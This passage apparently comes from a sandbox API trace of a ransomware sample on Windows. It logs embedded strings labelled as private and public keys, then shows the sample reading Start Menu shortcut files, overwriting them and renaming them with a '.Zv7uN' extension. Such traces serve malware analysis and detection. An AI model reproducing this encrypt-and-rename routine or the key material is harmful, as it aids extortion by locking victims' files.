lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0132.098] GetCurrentThreadId () returned 0xa30 [0132.098] GetCurrentThreadId () returned 0xa30 [0132.098] GetCurrentThreadId () returned 0xa30 [0132.099] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0132.099] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2dc8c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0132.099] GetCurrentThreadId () returned 0xa30 [0132.099] GetCurrentThreadId () returned 0xa30 [0132.099] GetCurrentThreadId () returned 0xa30 [0132.099] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Disk Cleanup.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\disk cleanup.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0132.099] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0fc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0fc*=0) returned 0x0 [0132.100] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0132.100] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x4e4 [0132.100] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0132.100] ReadFile (in: hFile=0x1dc, lpBuffer=0x1f35a90, nNumberOfBytesToRead=0x4e4, lpNumberOfBytesRead=0x18f108, lpOverlapped=0x0 | out: lpBuffer=0x1f35a90*, lpNumberOfBytesRead=0x18f108*=0x4e4, lpOverlapped=0x0) returned 1 [0132.103] CloseHandle (hObject=0x1dc) returned 1 [0132.103] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Disk Cleanup.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\disk cleanup.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0132.106] WriteFile (in: hFile=0x1dc, lpBuffer=0x1f37ac0*, nNumberOfBytesToWrite=0x4e4, lpNumberOfBytesWritten=0x18f114, lpOverlapped=0x0 | out: lpBuffer=0x1f37ac0*, lpNumberOfBytesWritten=0x18f114*=0x4e4, lpOverlapped=0x0) returned 1 [0132.109] CloseHandle (hObject=0x1dc) returned 1 [0132.109] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Disk Cleanup.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\disk cleanup.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Disk Cleanup.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\disk cleanup.lnk.zv7un")) returned 1 [0132.110] GetCurrentThreadId () returned 0xa30 [0132.111] GetCurrentThreadId () returned 0xa30 [0132.111] GetCurrentThreadId () returned 0xa30 [0132.111] GetCurrentThreadId () returned 0xa30 [0132.111] GetCurrentThreadId () returned 0xa30 [0132.111] GetCurrentThreadId () returned 0xa30 [0132.111] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x141abfff, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x141abfff, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x14375082, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4da, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Resource Monitor.lnk", cAlternateFileName="RESOUR~1.LNK")) returned 1 [0132.111] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0132.111] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0132.111] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Resource Monitor.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\resource monitor.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f148 | out: lpFileInformation=0x18f148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x141abfff, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x141abfff, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x14375082, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4da)) returned 1 [0132.112] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Resource Monitor.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\resource monitor.lnk")) returned 0x20 [0132.112] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Resource Monitor.lnk", dwFileAttributes=0x80) returned 1 [0132.114] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0132.114] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f1cc2c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0132.115] GetCurrentThreadId () returned 0xa30 [0132.115] GetCurrentThreadId () returned 0xa30 [0132.115] GetCurrentThreadId () returned 